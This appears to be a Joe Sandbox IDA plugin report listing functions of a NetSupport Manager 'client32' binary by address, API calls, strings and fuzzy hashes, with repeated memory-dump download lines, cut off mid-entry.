Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: Error. NULL capbuf$Error. preventing capbuf overflow
API String ID: 0-3856134272
Opcode ID: b100d5d4233022e8e44f9cc269860516e9a81280fef5c0ee83371a58609a8e05
Instruction ID: b2f01cc33cf96cd7d64b71e3bc45feb1f3f5f8ef4c82cb259c390b308aa88610
Opcode Fuzzy Hash: b100d5d4233022e8e44f9cc269860516e9a81280fef5c0ee83371a58609a8e05
Instruction Fuzzy Hash: EC012BBAE0060997DB10CE55F800ADBB398DFC037DF04883AEA5E93501E231F5D18692

Function 110D12D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110D12E3

Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBC8
Part of subcall function 1115CBB3: __CxxThrowException@8.LIBCMT ref: 1115CBDD
Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBEE

_memmove.LIBCMT ref: 110D1308

Strings

vector<T> too long, xrefs: 110D12DE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 70da0191b5718e9e378a282df170df22699940ec89f022486c233822fbc6cd1e
Instruction ID: facce5f6267de455672404faedde13971752726d79346e18a4f89ee43adb8f58
Opcode Fuzzy Hash: 70da0191b5718e9e378a282df170df22699940ec89f022486c233822fbc6cd1e
Instruction Fuzzy Hash: BF014FB6A007055FD720DE6DD880DA7F7E8EF95658310862EE5A6C3644EE31F9508AA0

Function 11053470 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 110534D1

Strings

Client, xrefs: 110534B2
IgnoreBroadcastMsg, xrefs: 110534AD

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID: Client$IgnoreBroadcastMsg
API String ID: 269201875-2698719660
Opcode ID: 406f8391fbd20ee1c0b2c9e892d905c69960e8590cde297a0bd1aef1293b93f6
Instruction ID: 7f2d190c9cc5e7471165cdc2c35737031f60f48fc0dccb1818e423c3a41c3cb6
Opcode Fuzzy Hash: 406f8391fbd20ee1c0b2c9e892d905c69960e8590cde297a0bd1aef1293b93f6
Instruction Fuzzy Hash: CC01F976E0511A96DBC1DEA5EC81B5BB79C9F42318F044471E919DA185FE30F8408B72

Function 1103F650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 1103F670
GetClassNameA.USER32(?,?,00000040), ref: 1103F681

Strings

NSSStudentUIClass, xrefs: 1103F68A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassNameWindow
String ID: NSSStudentUIClass
API String ID: 697123166-3999015762
Opcode ID: 3fb9db8458a88a78d35601a9ef235af905ab503700d79d2a10555305fb949ac3
Instruction ID: 728304f414a7be6f4cf75691dbb641e20f8a7f235b9e66cc4967e63102a5c4c4
Opcode Fuzzy Hash: 3fb9db8458a88a78d35601a9ef235af905ab503700d79d2a10555305fb949ac3
Instruction Fuzzy Hash: 1F01D471E0162BAFDB00DF718904AAEFBB8EB44215F1141B8EC14A3200D730B9018BD3

Function 110CF020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,11190240,?), ref: 110CF052

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\NSMString.cpp, xrefs: 110CF065
pszBuffer[1024]==0, xrefs: 110CF06A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 843686aa2f927784df5d34851f1b2d246bec5263db3ff1548cbc46b3f5e79cea
Instruction ID: ac41a9a0db9df06f4d8a16ffcac00abdbc7d2a047ef6ca5be1778eb271469bd1
Opcode Fuzzy Hash: 843686aa2f927784df5d34851f1b2d246bec5263db3ff1548cbc46b3f5e79cea
Instruction Fuzzy Hash: A8F0A479A0412D7BDB40DAA8DC40BEEFBBD9B45A04F4040EDEA45A7240DF306E498BA5

Function 110CF0A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,1102C131), ref: 110CF0CB

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\NSMString.cpp, xrefs: 110CF0DE
pszBuffer[1024]==0, xrefs: 110CF0E3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 70cf3e41058d91624f0f5df427f2462c6048bde8c60f5ed02ea0bbe19daebabd
Instruction ID: b1f8247c4ebfb1806b65041ddde5ed66821e01f400e323cd5dcc56784af5e4be
Opcode Fuzzy Hash: 70cf3e41058d91624f0f5df427f2462c6048bde8c60f5ed02ea0bbe19daebabd
Instruction Fuzzy Hash: 89F0A475A0012DBBDB50DA98DC80BEEFFAC9B45604F1040A9EA09A7140DF306A45C7A5

Function 110274C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(1117B47B,InternetReadFile), ref: 110274D4
SetLastError.KERNEL32(00000078,00000000,?,1102976A,1117B47B,00000000,1102C191,?), ref: 110274FD

Strings

InternetReadFile, xrefs: 110274CE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: InternetReadFile
API String ID: 199729137-1824561397
Opcode ID: 25f72b9f5038b89ec4964a80f4b93fd200d2d05303f84e90b96401370639f8e8
Instruction ID: 7102dc40746974abd302d7ecd2b68d0a8047dc71c6fa1f41d10cf5a704a59d5e
Opcode Fuzzy Hash: 25f72b9f5038b89ec4964a80f4b93fd200d2d05303f84e90b96401370639f8e8
Instruction Fuzzy Hash: 16F01272A00628AFD754DFA9E944F97B7E8EB49711F40842AF99597640C770F810CFA1

Function 110357B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetTouchInputInfo), ref: 110357C4
SetLastError.KERNEL32(00000078), ref: 110357ED

Strings

GetTouchInputInfo, xrefs: 110357BE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: GetTouchInputInfo
API String ID: 199729137-2645705246
Opcode ID: 10c41ff3f6d42deed21e7e2a21c2cb8f3ae54b01ca1ecf88037c24ed306f470b
Instruction ID: 6c704fc084d9c209ada407b9a0c733f7d943ecdbd0845790b09f7fc4fb0b7951
Opcode Fuzzy Hash: 10c41ff3f6d42deed21e7e2a21c2cb8f3ae54b01ca1ecf88037c24ed306f470b
Instruction Fuzzy Hash: B6F08276A11728AFD314CF98E844F9BB7E8EF4CB11F00491AF949D7240C671E810CBA0

Function 11075520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

DeferWindowPos.USER32(8B000E80,00000000,F8E85BC0,33CD335E,?,00000000,33CD335E,11076276), ref: 11075563

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11075536
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11075531

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeferErrorExitLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 889670253-2830328467
Opcode ID: 60ec77db6c4667eb89bd7fa16fa81bbec39534bd321d44308b88f3494834766c
Instruction ID: 0f53da842d51b2bc1a575ce598d94f232e02cc1422780aacd45dca11e73889ea
Opcode Fuzzy Hash: 60ec77db6c4667eb89bd7fa16fa81bbec39534bd321d44308b88f3494834766c
Instruction Fuzzy Hash: 3FF01CB661021DAFC704CE89DC80EEBB3EDEB9C754F008119FA19D3250D630E950CBA4

Function 11017000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,QueueUserWorkItem), ref: 11017014
SetLastError.KERNEL32(00000078), ref: 11017039

Strings

QueueUserWorkItem, xrefs: 1101700E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: QueueUserWorkItem
API String ID: 199729137-2469634949
Opcode ID: c81191e4254c18433ccdadfae085f98d5b405293371adbcb053233ac0816d12d
Instruction ID: 351e0e434b9127e3d5833c8cdc34dd988e3f21fb5a429389f6b6525592fa6d03
Opcode Fuzzy Hash: c81191e4254c18433ccdadfae085f98d5b405293371adbcb053233ac0816d12d
Instruction Fuzzy Hash: 6DF08C32A10328AFC310DFA8D844E9BB7A8FB48721F40842AF94087600C630F8008BA0

Function 11031020 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 11031034
SetLastError.KERNEL32(00000078), ref: 11031055

Strings

ProcessIdToSessionId, xrefs: 1103102E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: ProcessIdToSessionId
API String ID: 199729137-2164408197
Opcode ID: 9acb64e4e52a4edf203ee4f72ae7e17ac8f6d321f9450a0ebd216800fde009b8
Instruction ID: c15e5fa19e0f6f6798f22c3181eac8c4efc8dc53165636b7ac94afd6ac4f5e0b
Opcode Fuzzy Hash: 9acb64e4e52a4edf203ee4f72ae7e17ac8f6d321f9450a0ebd216800fde009b8
Instruction Fuzzy Hash: A9E06532A552245FC310DFB5D844E56F7E8EB58762F00C52AF95997200C670A801CFA0

Function 11157300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetWindowTextLengthA.USER32(75BF1A30), ref: 11157303

Part of subcall function 1110C4A0: _memset.LIBCMT ref: 1110C4D2

GetWindowTextA.USER32(75BF1A30,00000000,00000001), ref: 1115731D

Strings

